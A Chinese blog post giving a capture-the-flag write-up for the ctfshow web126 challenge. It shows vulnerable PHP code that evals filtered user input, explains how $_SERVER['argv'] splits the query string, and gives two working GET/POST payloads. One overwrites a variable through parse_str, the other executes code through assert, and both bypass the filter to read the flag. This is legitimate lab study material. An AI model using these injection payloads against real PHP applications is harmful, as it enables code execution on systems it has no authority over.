ctfshow web126($_SERVER['argv']的使用)

$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

我们在本地做实验之前:配置php.ini文件的register_argc_argv = On(默认是Off),重启服务。

先看第一个图:

再看第二个:

 可以看出来+起到分隔的作用。

因此我们可以利用parse_str()进行变量覆盖,payload如下:

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

我们也可以直接利用代码执行函数assert或其他,对a[0]进行操作不用+进行分割,payload如下:

GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

 

posted @ 2022-10-19 16:57  hithub  阅读(270)  评论(0编辑  收藏  举报